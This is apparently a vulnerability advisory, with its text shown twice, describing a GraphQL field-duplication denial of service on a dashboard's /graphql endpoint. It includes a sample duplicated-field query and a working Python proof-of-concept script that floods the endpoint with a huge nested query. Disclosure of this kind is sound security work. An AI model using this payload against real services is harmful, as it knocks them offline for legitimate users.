Summary
A denial of service (DoS) attack by field duplication in GraphQL is a type of attack where an attacker exploits the flexibility of GraphQL to overwhelm a server by requesting the same field multiple times in a single query. This can cause the server to perform redundant computations and consume excessive resources, leading to a denial of service for legitimate users.
Details
Request to the endpoint /graphql are sent when visualizing graphs generated at a dashboard:
By modifying the data sent and duplicating many times the fields a DoS attack is possible.
PoC
The goal is to create a payload that generates a body like this, where the 'max' field is duplicated many times, each with the 'id' field duplicated many times inside it.
{'query': 'query { query_4f4722ea: test_table_aggregated { max {id id id id id id id id id id } max {id id id id id id id id id id } max {id id id id id id id id id id } max {id id id id id id id id id id } max {id id id id id id id id id id } max {id id id id id id id id id id } max {id id id id id id id id id id } max {id id id id id id id id id id } max {id id id id id id id id id id } max {id id id id id id id id id id } } }'}
Although that payload seems harmless, a bigger one leaves the service unresponsive.
The following code might serve as a PoC written in Python3:
# GitHub @asantof
import requests
## CHANGE THIS VALUES: url, auth_token, query_name, collection_name
url = 'http://0.0.0.0:8055/graphql'
auth_token = ''
query_name = 'query_XXXXX'
collection_name = ''
headers = {
'Content-Type': 'application/json',
'Authorization': f'Bearer {auth_token}',
}
id_payload = 'id ' * 200
max_payload = 'max {' + id_payload + ' } '
full_payload = max_payload * 200
data = {
'query': 'query { ' + query_name + ': ' + collection_name + '_aggregated { ' + full_payload + ' } }'
}
print(data)
response = requests.post(url, headers=headers, json=data)
print(response.json())
After running it the service will be unresponsive for a while:
Impact
The vulnerability impacts the service's availability by causing it to become unresponsive for a few minutes. An attacker could continuously send this request to the server, rendering the service unavailable indefinitely.
References
asantof Reporter
Summary
A denial of service (DoS) attack by field duplication in GraphQL is a type of attack where an attacker exploits the flexibility of GraphQL to overwhelm a server by requesting the same field multiple times in a single query. This can cause the server to perform redundant computations and consume excessive resources, leading to a denial of service for legitimate users.
Details
Request to the endpoint /graphql are sent when visualizing graphs generated at a dashboard:
By modifying the data sent and duplicating many times the fields a DoS attack is possible.
PoC
The goal is to create a payload that generates a body like this, where the 'max' field is duplicated many times, each with the 'id' field duplicated many times inside it.
{'query': 'query { query_4f4722ea: test_table_aggregated { max {id id id id id id id id id id } max {id id id id id id id id id id } max {id id id id id id id id id id } max {id id id id id id id id id id } max {id id id id id id id id id id } max {id id id id id id id id id id } max {id id id id id id id id id id } max {id id id id id id id id id id } max {id id id id id id id id id id } max {id id id id id id id id id id } } }'}Although that payload seems harmless, a bigger one leaves the service unresponsive.
The following code might serve as a PoC written in Python3:
After running it the service will be unresponsive for a while:
Impact
The vulnerability impacts the service's availability by causing it to become unresponsive for a few minutes. An attacker could continuously send this request to the server, rendering the service unavailable indefinitely.
References